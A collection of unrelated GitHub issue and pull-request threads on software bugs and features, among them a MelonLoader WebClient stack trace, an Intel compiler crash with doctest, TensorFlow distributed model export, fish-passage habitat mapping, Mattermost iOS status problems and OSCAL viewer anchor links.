  at System.Net.AutoWebProxyScriptEngine.InitializeRegistryGlobalProxy () [0x0005b] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.AutoWebProxyScriptEngine.GetWebProxyData () [0x00007] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.WebProxy.UnsafeUpdateFromRegistry () [0x0001a] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.WebProxy..ctor (System.Boolean enableAutoproxy) [0x0000d] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.WebProxy.CreateDefaultProxy () [0x00012] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.Configuration.DefaultProxySectionInternal.GetSystemWebProxy () [0x00000] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.Configuration.DefaultProxySectionInternal.GetDefaultProxy_UsingOldMonoCode () [0x00036] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.Configuration.DefaultProxySectionInternal.GetSection () [0x00015] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.WebRequest.get_InternalDefaultWebProxy () [0x00022] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.HttpWebRequest..ctor (System.Uri uri) [0x0008d] in <d2957de1c3fd4781a43d89572183136c>:0

  at (wrapper remoting-invoke-with-check) System.Net.HttpWebRequest..ctor(System.Uri)

  at System.Net.HttpRequestCreator.Create (System.Uri uri) [0x00000] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.WebRequest.Create (System.Uri requestUri, System.Boolean useUriBase) [0x00091] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.WebRequest.Create (System.Uri requestUri) [0x00014] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.WebClient.GetWebRequest (System.Uri address) [0x00000] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.WebClient.DownloadDataInternal (System.Uri address, System.Net.WebRequest& request) [0x00013] in <d2957de1c3fd4781a43d89572183136c>:0

   --- End of inner exception stack trace ---

  at System.Net.WebClient.DownloadDataInternal (System.Uri address, System.Net.WebRequest& request) [0x00072] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.WebClient.DownloadString (System.Uri address) [0x00020] in <d2957de1c3fd4781a43d89572183136c>:0

  at System.Net.WebClient.DownloadString (System.String address) [0x00016] in <d2957de1c3fd4781a43d89572183136c>:0

  at (wrapper remoting-invoke-with-check) System.Net.WebClient.DownloadString(string)

  at MelonLoader.Il2CppAssemblyGenerator.RemoteAPI.ContactHosts () [0x0005f] in <c5740a4bf8844aa0bba791293b614f53>:0

This should be, at least for the assembly generator case, solved with 0.6.0, as IL2CPP games now run under CoreCLR which has no such issues with WebClient. Might want to keep this open for anyone who wants to use HTTP(s) in their own mods on mono games


oAuth User is not stored in db

I've added a social login to my app. The oAuth login process seems to work, but the user account is not stored in the database. In the end the result set of the client loginWith... function is empty.
Here's the branch: https://github.com/janikvonrotz/meteor-apollo-accounts-example/tree/social-login

You where having an error in Accounts.onCreateUser and the error was not thrown, now the error throws but you have to fix it.
This will help:
if (user.services.google) {
  user.emails = [{ address: user.services.google.email, verified: true }]
}

if (user.services.facebook) {
  user.emails = [{ address: user.services.facebook.email, verified: true }]
}

Thank you very much, it worked!


🛑🛑🛑Please contact customer support🛑🛑🛑

Describe the bug
When you use the field SystemId in a Query the client crashes with no information.
Since Id is marked for removal, how long can we still use Id in future versions?
To Reproduce
Steps and to reproduce the behavior:
Created a simple query that returns the Customer SytemID, Name and Code.
Expected behavior
Exposing SystemId in a query should not make the web client crash.
Screenshots / Code Example
query 70104229 KecCusSel2
{
elements
{
dataitem(Customer; Customer)
{
column("SytemId"; "SystemID")
{
}
column("Code"; "No.")
{
}
column(Name; Name)
{
}
}
}
}
If applicable, add screenshots to help explain your problem.
5. Versions:
AL Language: 4.0.199169
Business Central Version: Platform 15.0.37867.0 + Application 15.0.36626.37934

Let's get the issue to a team who will fix and backport it, as this repository is only for issues related to the latest developer preview environment for Dynamics 365 Business Central. We suggest that you open a support case or file a bug in Collaborate, to ensure that all Business Central users benefit from your catch as soon as possible.
To open a support case, you can:

Open a support request to CSS through the PartnerSource portal
Contact your Service Account Manager (SAM) in your local subsidiary to understand what is included in your contract as of support incident and PAH (Partner Advisory Hours). Your SAM might also direct you "step by step" how to open a support request or how to get credentials, if this is the first time for you or your company

If you file the bug in Collaborate, remember to include steps to reproduce the issue, and the Business Central build number and country version you're using.


Feature/textfile

Codecov Report

Merging #67 into master will not change coverage.
The diff coverage is 100%.

@@          Coverage Diff          @@
##           master    #67   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files          14     14
  Lines         612    546   -66
=====================================
- Hits          612    546   -66

Impacted Files
Coverage Δ

lineflow/datasets/msr_paraphrase.py
100% <100%> (ø)
:arrow_up:

lineflow/text.py
100% <100%> (ø)
:arrow_up:

lineflow/datasets/squad.py
100% <100%> (ø)
:arrow_up:

lineflow/datasets/wikitext2.py
100% <100%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9ae08b1...1575946. Read the comment docs.


mapping

@smnorris - geopackage is populated here
not sure the best approach for version control of the project maps hosted on the Hillcrest site.  Using the date stamp of the map as the name of the subfolder one way to go but maybe only necessary on the last version?  Until then we could have a subfolder “NewGraph” for these maps if there are multiple versions of maps on the server.  Not sure.
still interested in using q atlas and the watersheds to build tighter maps for each hab con but think they need to have legends and keymaps .

mapping files are now pulled from geopackage then burned to geojson format in fishpass_mapping with b2f3d0d8ec243bf1d0dcbe6f574a5580bdb934bb

If you convert to WGS84 / EPSG:4326 they will preview nicely in GH

:fire:

We now have habitat model data for Bulkley, and potentially for Morice as well.
Do we want to change the mapping to vary the stream symbol width by habitat classification rather than by gradient?
ie
narrow=non spawning/rearing habitat
medium=rearing
wide=spawning.
Retain the same accessibility colour scheme.

Of course there is also the option to symbolize stream width by the modelled channel width, but modelled habitat seems more relevant.

Updated spawning/rearing classification should be ready in the next day or so https://github.com/smnorris/bcfishpass/issues/46

I have had a look through but can't seem to find it. Sorry.  Where are the gradient thresholds for the accessibility? I am thinking about steelhead vs. salmon vs. WCT ...

Salmon = 15
Steelhead = 20
WCT = 20
This is a good point. The accessibility mapping colours for Bulkley are currently based on steelhead (20%). Symbolizing based on salmon habitat will mean that steelhead accessible streams above a 15% gradient barrier won't show any habitat.

FYI the access classification logic is buried in here: https://github.com/smnorris/bcfishpass/blob/main/02_model/sql/model_access.sql

We now have habitat model data for Bulkley, and potentially for Morice as well.
Do we want to change the mapping to vary the stream symbol width by habitat classification rather than by gradient?
ie
narrow=non spawning/rearing habitat
medium=rearing
wide=spawning.
Retain the same accessibility colour scheme.

We would pick a "species" based on 02_model/data/model_spawning_rearing_habitat.csv to vary the stream symbol width by habitat classification?

Rather than pick just one species I was thinking of lumping all spawning into one class and all rearing into another.

Sound like a good plan. Let's do it.
Hoping for some background on the width modelling and some references for habitat requirements from CWF soon :no_mouth: .  I shared my thin zotero modelling folder with you and Nick.  We can keep a copy of our references there if that works for you guys.

Simon. Any chance of a refresh on the maps with Jonathan's barriers now input and an update to the gpkg pushed to data/fishpass_mapping? Shooting for the end of the day to get a draft of the report to CWF and FPTWG (no real morice section yet)...  I doubt anyone will look at it right away so don't think it would matter too much if the maps were updated tomorrow...

Can it wait another couple of days? I am working on the spawn/rear connectivity updates, it would be nice to finish that first: https://github.com/smnorris/bcfishpass/issues/46
The in-stream distance thresholds mean I'm fixing this up so it works properly
https://github.com/smnorris/fwapg/blob/main/sql/functions/FWA_LengthInstream.sql

Sure. I was just thinking that I should get a bit more of the methods documented and bring some area tables in to the results anyways. Needs to be done for the Morice anywho.
Maybe it’s done already but shouldn’t be too hard to add areas of streams by spawn/rear per species right? Will make a lovely table and might even read easier as a graph. Lots of info but I think the reader can handle it and we can tuck it into a leaflet link too so it is tight and available.
I’ll start looking at it tomorrow. Going to have another crack at getting the bcfishpass repo to run for me. 🤞

Areas of streams?  channel width * length? Hasn't been any discussion of that.

Makes sense to me.  I reporting it for hab cons for the elk and bulk just using length and measured width from my surveys. In general, a 8m wide stream that is 1k to a waterfall will have waaaay more potential for useable habitat than a stream that is 4m wide and 1k to a waterfall so it is useful to visualize and communicate that I think. Cost per m2 has been quite enlightening I think.

Ok. There was a good discussion today on how to fudge Coho rearing habitat in wetlands and Sockeye rearing habitat in lakes into linear measurements. Stupidly it never occurred to me to suggest we just report on area for everything - that has been the idea for quite some time and we actually have the data to do it now.

Well off topic here tho - something to file in bcfishpass

I'm going to start a list here to store things related to future runs of the maps unless you think there is a better spot:

[ ] Add modelled crossings to the maps so they can be used as ids in future field surveys and viewed by readers when referenced in reporting.

Thanks - that is a bug, they should be on there!

The filter in the crossings layer was using stream_crossing_id so NULLs for modelled crossing got filtered out too.
To fix, the filter that removes PSCIS crossings (that get replaced by confirmations not yet in PSCIS) needs to use aggregated_crossings_id

moving issue from bcfishpass to here:

https://hillcrestgeo.ca/outgoing/fishpassage/projects/bulkley/FishPassage_093M.102.pdf (Porphyry) doesn't currently want to open in my browser. Other maps do though...

It doesn't open on my desktop either, I'll re-export that one, I don't know what might be wrong.

Regenerated and reposted file. But it looks like it was a file transfer issue, a bunch of them are empty. I'll repost.

Ha. Server is out of space, no wonder it is broken. 🤪

aha.

Fixed but we'll want to minimize how many of these monster pdfs we keep in the archive folders for now. I removed 2021-02-15 to fit these.

you could pull the other archives off too if you want.  From my perspective, the archiving is just for a stable location for readers to land when referred from the report. Those old maps do have the FN sites on there though so I think that some people might be keen to have them.... I have a copy if anyone wants them.

ok - I'll keep them there for now. I may be able to shuffle things around, I have lots of unused space, it just isn't accessible by the web server at the moment.

@smnorris.  Quick question... Where are the widths in bcbarriers/bcfishpass.streams for the Morice modelling on the maps currently pulled from? Did you use the Bulkley chan width best fit equation?  Is there another equation specific to the MORR somewhere that you know of? Sounds like the numbers where pretty off and it needs to be revisited but maybe not a bad idea to start with what has already been done....

I think they are just the measured values?

No - maps for MORR are the same as BULK - habitat model is applied... but only where there is a measured channel width. Good catch, that is going to have to be updated.

right. That's why the symbology is so jumpy on the maps.  Ok.  I will line up something to get some modelled estimates. Working through the guts of the scripts. Awesome stuff. Lots to get my head around. Trying to figure out why our dbs have different results for a few things... I'll let you know if i can't figure it out on my own.

I have used the BULK model as a start and switched the BULK mad switch to cw for fun.  Haven't qa'd anything yet. Just poking at stuff.  👆🏼


Compile error on Intel C++ Classic Compilers

Description
Trying to integrate Intel C++ Classic Compilers into nlohmann json's CI, I'm getting the following error:
/home/runner/work/nlohmann-json/nlohmann-json/test/thirdparty/doctest/doctest.h(1238): internal error: assertion failed at: "exprutil.c", line 5535 in make_cast_rescan_operands

          DOCTEST_DO_BINARY_EXPRESSION_COMPARISON(==, " == ", DOCTEST_CMP_EQ) //!OCLINT bitwise operator in conditional
          ^

compilation aborted for /home/runner/work/nlohmann-json/nlohmann-json/test/src/unit-user_defined_input.cpp (code 4)
make[6]: *** [test/CMakeFiles/test-user_defined_input.dir/build.make:76: test/CMakeFiles/test-user_defined_input.dir/src/unit-user_defined_input.cpp.o] Error 4
make[5]: *** [CMakeFiles/Makefile2:1045: test/CMakeFiles/test-user_defined_input.dir/all] Error 2
make[4]: *** [Makefile:146: all] Error 2
make[3]: *** [CMakeFiles/ci_test_intel_icpc.dir/build.make:72: CMakeFiles/ci_test_intel_icpc] Error 2
make[2]: *** [CMakeFiles/Makefile2:580: CMakeFiles/ci_test_intel_icpc.dir/all] Error 2
make[1]: *** [CMakeFiles/Makefile2:587: CMakeFiles/ci_test_intel_icpc.dir/rule] Error 2
make: *** [Makefile:309: ci_test_intel_icpc] Error 2
Error: Process completed with exit code 2.

The complete CI logs can be found here: https://github.com/nickaein/nlohmann-json/runs/2479842205?check_suite_focus=true
Note that while the compilation with icl/icpc compilers (Intel Classic C++ compilers for Windows/Linux) fails, it passes for icx/icpx (Intel LLVM-based C++ compilers).
Steps to reproduce
Here is a minimal example to reproduce the issue:
Compile the following code:
#define DOCTEST_CONFIG_IMPLEMENT_WITH_MAIN
#include "doctest.h"
#include <string>

namespace
{
    TEST_CASE("simple test")
    {
        std::string s = "123";
        CHECK(s[0] == '1');
    }
};

with Intel C++ Classic Compiler (icc/icpc) version  2021.2.0.
The compiler error can be reproduced on Compiler explorer: https://godbolt.org/z/GKd3E8j6o
Also, to reproduce the issue locally, one can use the following Dockerfile as mentioned here https://github.com/nlohmann/json/pull/2736#issuecomment-829717766 to install the compiler in an Ubuntu image. There is also oneapi-ci project provided by Intel which contains instructions for setting up compilers in various environments and OSes.
FROM nlohmann/json-ci

RUN wget https://apt.repos.intel.com/intel-gpg-keys/GPG-PUB-KEY-INTEL-SW-PRODUCTS.PUB && \
    APT_KEY_DONT_WARN_ON_DANGEROUS_USAGE=1 apt-key add GPG-PUB-KEY-INTEL-SW-PRODUCTS.PUB && \
    rm GPG-PUB-KEY-INTEL-SW-PRODUCTS.PUB && \
    add-apt-repository -y "deb https://apt.repos.intel.com/oneapi all main" && \
    apt-get update

RUN apt-get install -y --no-install-recommends \
        intel-oneapi-compiler-dpcpp-cpp-and-cpp-classic

Running the image of this Dockerfile, I use the following commands to prepare the environment and build the code. I had to provide some extra flags to get the compiler working. Following instructions in oneapi to setup the environment may not need these flags.
source /opt/intel/oneapi/setvars.sh
icpc -std=c++11 -gnu-prefix=x86_64-linux-gnu- -gxx-name=g++-9 example.cpp

This will lead to following warnings and the mentioned error:
doctest.h(1238): warning #2196: routine is both "inline" and "noinline"
          DOCTEST_DO_BINARY_EXPRESSION_COMPARISON(==, " == ", DOCTEST_CMP_EQ) //!OCLINT bitwise operator in conditional
          ^

In file included from a.cpp(2):
doctest.h(1239): warning #2196: routine is both "inline" and "noinline"
          DOCTEST_DO_BINARY_EXPRESSION_COMPARISON(!=, " != ", DOCTEST_CMP_NE) //!OCLINT bitwise operator in conditional
          ^

In file included from a.cpp(2):
doctest.h(1240): warning #2196: routine is both "inline" and "noinline"
          DOCTEST_DO_BINARY_EXPRESSION_COMPARISON(>,  " >  ", DOCTEST_CMP_GT) //!OCLINT bitwise operator in conditional
          ^

In file included from a.cpp(2):
doctest.h(1241): warning #2196: routine is both "inline" and "noinline"
          DOCTEST_DO_BINARY_EXPRESSION_COMPARISON(<,  " <  ", DOCTEST_CMP_LT) //!OCLINT bitwise operator in conditional
          ^

In file included from a.cpp(2):
doctest.h(1242): warning #2196: routine is both "inline" and "noinline"
          DOCTEST_DO_BINARY_EXPRESSION_COMPARISON(>=, " >= ", DOCTEST_CMP_GE) //!OCLINT bitwise operator in conditional
          ^

In file included from a.cpp(2):
doctest.h(1243): warning #2196: routine is both "inline" and "noinline"
          DOCTEST_DO_BINARY_EXPRESSION_COMPARISON(<=, " <= ", DOCTEST_CMP_LE) //!OCLINT bitwise operator in conditional
          ^

In file included from a.cpp(2):
doctest.h(1390): warning #2196: routine is both "inline" and "noinline"
          DOCTEST_NOINLINE void binary_assert(const DOCTEST_REF_WRAP(L) lhs,
          ^

In file included from a.cpp(2):
doctest.h(1398): warning #2196: routine is both "inline" and "noinline"
          DOCTEST_NOINLINE void unary_assert(const DOCTEST_REF_WRAP(L) val) {
          ^

doctest.h(1238): internal error: assertion failed at: "exprutil.c", line 5535 in make_cast_rescan_operands

          DOCTEST_DO_BINARY_EXPRESSION_COMPARISON(==, " == ", DOCTEST_CMP_EQ) //!OCLINT bitwise operator in conditional

Extra information

doctest version: v2.4.6
Operating System: Ubuntu 20.04.2
Compiler+version: Intel Classic C++ Compiler (icc) 2021.2.0 20210228

For convenience, I have updated the bug report to include this link to Compiler Explorer which reproduces the issue:
https://godbolt.org/z/GKd3E8j6o

Hi,
Thanks for the issue submission and in particular the minimal example. We looked at it with @maugarsb since also have this error and narrowed it down. Here is an example without doctest (but derived from doctest) that triggers the same Intel bug :
struct Result {
    bool b;
    int i;

    Result(bool b, int i = 0);
};

template<typename L>
struct S {
    template<typename R>
    decltype(char()==char(),static_cast<Result>(0))
    f(R& x) {}
};

int main() {
    char a;
    S<int> s;
    s.f(a);
}

We think we have a workaround for doctest, I will submit a PR soon. I will also report the bug to Intel

The PR is here #523

Thanks for the fix - just merged the PR!
Sorry for the delay - I had taken an irresponsibly long break from doctest.


Speech Recognition API: More info for Safari

Fixes #5879.
… or do you want me to split the note, because it's getting lengthy?

It is getting lengthy! But it's probably fine.


[withWidth] Broken innerRef property

Regarding #12216, innerRef property was implemented for withWidth and withTheme HOCs. But since withWidth itself uses withTheme as its wrapper, innerRef will not be propagated through both of them.
Since we're not using forwardRef API at the moment (https://github.com/mui-org/material-ui/issues/10825#issuecomment-383318055), i think we should come up with a solution for the existing HOCs to forward the innerRef property.
A solution would be to add an options argument to withTheme to set an optional flag (like forwardInnerRef) so the innerRef property provided to WithTheme component would be forwarded to the wrapped component (WithWidth in this case) as its innerRef property.

[x] This is a v1.x issue.
[x] I have searched the issues of this repository and believe that this is not a duplicate.

Expected Behavior

We should be able to access the component wrapped with withWidth.
Current Behavior

By using innerRef, we get the WithWidth component.
Steps to Reproduce

(See console output)
Your Environment

Tech
Version

Material-UI
v1.5.0

React
v16.4.2

Browser
Chrome 56

@alimo What do you think of removing the innerRef dead code from the withWidth?

@oliviertassinari as you mentioned, using forwardRef is a breaking change and #10825 has a v2 milestone. So it might be a long time until we are able to use this API in our projects. The problem of using multiple HOCs remains unsolved until then.
I suggest an enhancement on the current innerRef API as I mentioned in the issue description. Something like how react-redux/connect takes a withRef option. But in this case, when a certain flag is provided, we will be forwarding the provided innerRef function to the wrapped component as its innerRef property (instead of ref).

@alimo I understand your suggestion but I don't think that it worth pushing the story forward. I think that we should go the other way around, cleaning the property from the component. v2 should come by early 2019.
People should avoid relying on ref as much as possible. If you have this requirement, surely you are doing something custom, you should be willing to make your own ref forwarding logic. This issue isn't a blocker, there is way to work around it.

@oliviertassinari You're right. It would make things more complicated than it should be. Thank you for your response. Keep up the good work :blush:


No he recibido mi transacción de XLM a mi cartera.

Esta mañana me enviado una cantidad XLM de mi ledger a mi cartera de Kukoin, aun no las he recibido.
148080005530886145        GCK7…JUQZ transferred255.99999 XLM a GAJ4… JW2P            2021-03-17 12:36:30 UTC

Hi, unfortunately my exchange office has not deposited it yet, saying send 4.90 stellar amount from the main address, but the source exchange system does not allow the minimum amount, I sent the message image to the destination, I chatted with the support team of both exchanges, it has not worked yet, another stellar  I'm tired, thank you
Sent from Yahoo Mail for iPhone$&@
On Wednesday, March 17, 2021, 7:56 PM, Bladeir78 @.***> wrote:
Esta mañana me enviado una cantidad XLM de mi ledger a mi cartera de Kukoin, aun no las he recibido.
148080005530886145 GCK7…JUQZ transferred255.99999 XLM a GAJ4… JW2P 2021-03-17 12:36:30 UTC
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or unsubscribe.


Custom component spec

PR that enables adding a custom component spec for each component as described in #174
The implemented approach differs slightly from the described issue since we forgot to take into account that we need to parse the arguments twice. Once to retrieve the component spec and another time for the other arguments which include things like the metadata and manifest as well as use specific arguments (which are defined as part of the component spec)

The component spec is now an exact match to the one passed to the pipeline. We no longer are defining it during the build process. This enables us to use dynamic specs.
We still keep the method from_file() method as this is used when building and compiling the pipeline.

We still need to adapt the currently available read and write components to be generic but this should be tackled in a separate PR.

Thanks @PhilippeMoussalli!
As I proposed in the issue, I think it would be nice to move the argument parsing to one place and inject all the arguments, which will make the class easier to test as well. See my comment.

Thanks @PhilippeMoussalli!
As I proposed in the issue, I think it would be nice to move the argument parsing to one place and inject all the arguments, which will make the class easier to test as well. See my comment.

Ah yes, forgot about that point. I made the necessary changes :)


Converted from bx to ibmcloud

bx has been deprecated and ibmcloud is the correct command.
Signed-off-by: JJ Asghar<EMAIL_ADDRESS>

LGTM but rebase needed

Rebased.

LGTM


Fail to export model with exporter with distributed session

We have try exporter and signature to export our TensorFlow models. The code works in standalone mode but not in distributed mode.
We got InvalidArgumentError when calling exporter.Exporter(saver).init(). It asks to feed the placeholder but it's not training process and I just want to get the op's name to pass as model's signatures. The error log looks like this.

Do anyone has tried to export models with distributed session? Here is my sample code if it helps.

Environment info
Operating System: Ubuntu 16.04
CUDA and cuDNN: Not install
TensorFlow version: 0.11.0rc0

@tobegit3hub : Is it possible to provide a minimal reproducible example. As text instead of a screenshot so we can copy the exact code used ourselves?
With some more context we might be able to provide a useful diagnosis. The error log and snippet you've provided are just a little shy of being very useful. For example, it's not clear to me which line corresponds to task.py, line 120. And also, would be good to have the stacktrace of the InvalidArgumentException.
Do chime in with a small, reproducible example that we can run. Thanks!

Thanks for quick response. @asimshankar
I have moved the code into this project, https://github.com/tobegit3hub/distributed_tensorflow .
You can follow the README to run in standalone and distributed mode. It's easy to re-produce the issue. If it's the problem of our code, please let me know and any feedback is really appreciated.

@tobegit3hub : Can you trim your code down considerably so that it focuses on this problem?Currently, there is a lot of code there that seems unrelated to the problem at hand. It would also be nice to factor out the common parts between distributed and standalone versions so its easier to see what the two share and what they do not.

Thanks @asimshankar .
Of course I can trim it down and refactor the code. But it's only ~200 lines and I have tried to make it easy to read and runnable.
You can run the standalone part to make sure the exporter will work with this model. And run the similar code of distributed part and checkout the error message.

@concretevitamin , @wicke, do you have any insight on if this could be caused by the new checkpoint format (it's 11.0rc0 and it was in by this time). Could it be using placeholders in the signature? The mnist_export.py in our example uses an Identity tensor.

It's not related to the checkpoint format, I'll say.  (Biggest reason being 0.11rc0 does not have complete support for V2.)  Adding @sukritiramesh @nfiedel to see if this is something obvious in the Exporter.

I have tried with 0.12.0 and it failed in the same way. The I trace and log the exception like this.
ipdb> pp e
InvalidArgumentError()
ipdb> pp e.error_code
3
ipdb> pp e.message
u'You must feed a value for placeholder tensor \'Placeholder_2\' with dtype float\n\t [[Node: Placeholder_2 = Placeholder[dtype=DT_FLOAT, shape=[], _device="/job:master/replica:0/task:0/cpu:0"]()]]'
ipdb> e.op
<tensorflow.python.framework.ops.Operation object at 0x7ff87957a050>

I was trying to export the generic signature and not sure why it need to feed the placeholder. It's caused by this line of code while it works in standalone mode.
exporter.generic_signature({"keys": keys_placeholder,
                                                  "X": X})

Thanks for @asimshankar @aselle and @concretevitamin .
It's easy to reproduce. Can anyone help to verify the issue or give the proper example for distributed TensorFlow application to export the mode?

Pinging @sukritiramesh

There are two problems we need to fix for this code and now it works.
The placeholder problem is similar to http://stackoverflow.com/questions/38825741/running-distributed-tensorflow-with-invalidargumenterror-you-must-feed-a-value?rq=1 . We should not use summary_op in Supervisor when using placeholder(not sure if we need to fix this later). Now it doesn't complain about You must feed a value for placeholder tensor with this code.
        sv = tf.train.Supervisor(is_chief=(task_type == "master"),
                                 logdir=FLAGS.checkpoint_path,
                                 init_op=init_op,
                                 summary_op=None,
                                 saver=saver,
                                 global_step=global_step,
                                 save_model_secs=60)

But I still have the problem about Graph is finalized and cannot be modified. It's related to https://github.com/tensorflow/tensorflow/issues/5439 witch can be fixed by defining exporter and any other op before Supervisor.
Thanks for the help from Github issues and StackOverflow. Still need to improve the document and example code for any other TensorFlow developers.


Add SSD1309 driver to documentation list

I found this driver and tested it, seems to work fine:
https://crates.io/crates/ssd1309

Thanks for the heads up! This will show up in the docs/crates.io readme when the next release goes out.

Great!


Add TransformParameterFileName property to itk::TransformixFilter

This pull request is basically complementary to improvements in itk::ElastixRegistrationMethod:

pull request #907 (Allow InitialTransformParameterFileName relative to parameter file)
pull request #909 (ElastixRegistrationMethod writes initial transform parameter files)

It allows itk::TransformixFilter to read back the transform parameter files written by itk::ElastixRegistrationMethod (as well as those written by the elastix executable)

@N-Dekker TODO Document the effect of calling both SetTransformParameterFileName and SetTransformParameterObject on the same TransformixFilter instance. Discussed with Marius (@mstaring): the current effect is correct: one call "overrules" the other.


Status, notification and theme issues on iOS 16 with Mattermost 2.3.0

Summary
There are a couple of issues with Mattermost app on Iphone with iOS 16 and Mattermost 2.3.0 installed
Steps to reproduce

Open app, set "online" status, minimize the app and then maximize it back
No specific steps to reproduce, it just happens sometimes
No specific steps to reproduce, it just happens sometimes

Expected behavior

Minimizing the app will keep the current status that will only change by timeout, but not immidiately
Notifications will always come for a reason and won't be empty or missing
Dark theme won't appear automatically if only it isn't set by user settings

Observed behavior (that appears unintentional)

"Offline" status automatically sets after minimizing the app
Notifications and pushes come empty or sometimes don't come when they should (for example, when you've been mentioned in a thread or recieved a message)
Dark theme appears sometimes, but settings are set to always use only the light theme

Themes are based on the user preference, at the moment there is no preference to set it to follow the system dark/light modes, I believe there was a feature for this being worked on but it was de-prioritized

Yes, there is a Jira ticket for this, but it's in the backlog with the team waiting to be prioritized.
https://mattermost.atlassian.net/browse/MM-39943

The status won't change until the websocket disconnects which is 15 seconds after the app has been sent to the background or immediately if the app is fully closed.

So, there's no way to keep an online status when 15 seconds pass after sending the app to the background?

can you expand on what does empty mean? also what are the user preferences around the notifications, as that can have an impact on when the notification is sent, perhaps you should take a look at the notifications.log file on the server to identify potential causes.

It's a lock screen app notification with no text in it. Being tapped it just goest to app after unlocking the screen — not any specific message or channel at all. Was wandering what could trigger such thing.
Thanks!

So, there's no way to keep an online status when 15 seconds pass after sending the app to the background?

as the websocket disconnects, the status changes.. but any other action in any other client will change the status back to online

It's a lock screen app notification with no text in it. Being tapped it just goest to app after unlocking the screen — not any specific message or channel at all. Was wandering what could trigger such thing.

is it actually empty or it says something like "Notification" ? maybe is a notification setting on the phone to hide previews if the phone is not unlocked?


Support for Anchor Links

As a user of the OSCAL Viewer/Editor, I want to be able to quickly navigate to sections of OSCAL documents, including specific controls and control implementations, using anchor links so that I don't have to scroll through often large pages and can bookmark/share specific sections.
Implementation Notes (and Original Submission)
Within the Catalog Viewer, it would be really helpful if I could link directly to a control within the catalog; for example, if navigating to https://oscal-viewer.msd.easydynamics.com/catalog?url=https://raw.githubusercontent.com/usnistgov/oscal-content/master/nist.gov/SP800-53/rev5/json/NIST_SP-800-53_rev5_catalog.json#SI-3 were to automatically result in "System and Information Integrity" expanded with "SI-3 Malicious Code Protection" focused in the viewport. Perhaps each control could also have a way to copy a link to it (for example, the way that you can do so for headings on the Microsoft Docs).
The link should use the #/fragment in the URL rather than a querystring parameter for determining where in the page to navigate to, in order to support browsers' native capabilities to do so. This could either be handled by adding an id attribute to the headings or placing an <a> tag with a name directly above the <hX> tags.
I am not sure whether this feature request cleanly maps to the other viewer types.

We have a placeholder issue for more generic anchor links across the app, not just catalogs.
I'm going to broaden the scope of this issue to support that.

We need to make sure that we have something to track creating links; either making a new ticket or ensuring it's supported as part of markup support or another ticket.

Ideally we will have #88 finished before this issue is completed, however I believe most of the implementation can be done without having the issue completed.
When a hash is provided in the browser's url, it can be acquired, validated, and if there is a matching element to this hash on the page it will be navigated to. (As mentioned in the implementation notes, an id can be set to a header which matches this hash.) This functionality can be handled within a hook in OSCALLoader.
To acquire a heading like Microsoft Docs, a header or a newly added icon can be linked to a hash by surrounding it in a react-router-dom Link.
I was curious to what extent would we like to have anchor links supported? Would we want to link to the major sections of a page like control-groups, system-characteristics, and back-matter? Would we want the user to link to a specific resource in backmatter (like the title of a diagram) or a party in the Parties table? Or even as specific as a user within a system-implementation/users table?

what extent would we like to have anchor links supported?

Here are my thoughts on what should be linked to
Anchor links will be added at
Shared Sections

[ ] Parties parties
[ ] Profiles/Catalog Inheritance profile-catalog-inheritance
[ ] Back Matter back-matter

[ ] Resources resources

Catalog Viewer

[ ] Controls Groups control-groups

[ ] Control & Sub Controls `?url={url}#{control-id}

SSP Viewer

[ ] System Characteristics system-characteristics

[ ] Authorization Boundary authorization-boundary
[ ] Network Architecture network-architecture
[ ] Data Flow data-flow

[ ] System Implementation system-implementation

[ ] Users users
[ ] Components components
[ ] Inventory Items inventory-items

[ ] Control Implementation control-implementation

Component Viewer

[ ] Components components
[ ] Control Implementations control-implementations

Profile Viewer

[ ] Imported Controls mported-controls

[ ] Control & Sub Controls `?url={url}#{control-id}

3/10/23 end of Sprint 42 status: This is probably somewhere from 75%-90% complete. The functionality and design is practically finished, with a minor adjustment or two. The code is still in review and to be revisited - including some linting errors needing to be ironed out. The Cypress tests for this issue are also finished - but require for the code to be merged in oscal-react library in order for the tests to pass in the respective oscal-editor-deployment issue.

3/10/23 Sprint Planning - Moved from Sprint 42 to Sprint 43

3/23/23 end of Sprint 43 status: This issue is about 90% complete overall. I didn't get to dedicate as much of my attention to this issue during this sprint at I had hoped. Improvements have been made to anchor links and there were some refactoring choices made. Acquiring the fragment in the URL has been changed to be acquired in a more react like method - although this currently causes many tests to fail and will need to be decided on if this is the correct method. control-groups remains as the main issue holding back this issue from completion. There are still a couple of architecture decisions that will need to be made here - but I do believe this is getting closer to finishing.

Reopening this until the tests are in and we clean up final items mentioned on the PR. https://github.com/EasyDynamics/oscal-react-library/pull/600#pullrequestreview-1375646312

4/7/23 Sprint Planning - Moved from Sprint 44 to Sprint 45


Improve logic for showing dependency list: in progress, merged, deployed

Gray: repo has commits
Green: ready to deploy, changes were merged into master but not deployed
Strikethrough: deployed

Visually LVGTM

@patatepartie Refactored the code a bit on your feedback, please take a look when you have time :santa:

Thanks for all those changes @marexandre : LGTM !

@patatepartie Thanks for all the feedback! Had fun refactoring the code :monkey:


Need to improve user experience

As our website is already live and people are visiting it, therefore I think we need to improve the UI/UX.
There are some problems with the UI/UX like lack of animations, proper images, content, loader etc. Also there is a problem with navbar and the website lacks some features also.
So in my opinion we should figure out all this problems as soon as possible @ashish3805 @Siddhant021295 @f71uday

I agree that we lack good graphics. Also, the site should be more vibrant. @Himanshu-Sahu Can you compile a list of changes or tasks and create individual issues for them. Bunch them in To-Do's at this project https://github.com/CodefosterGS/cf_frontend/projects/2

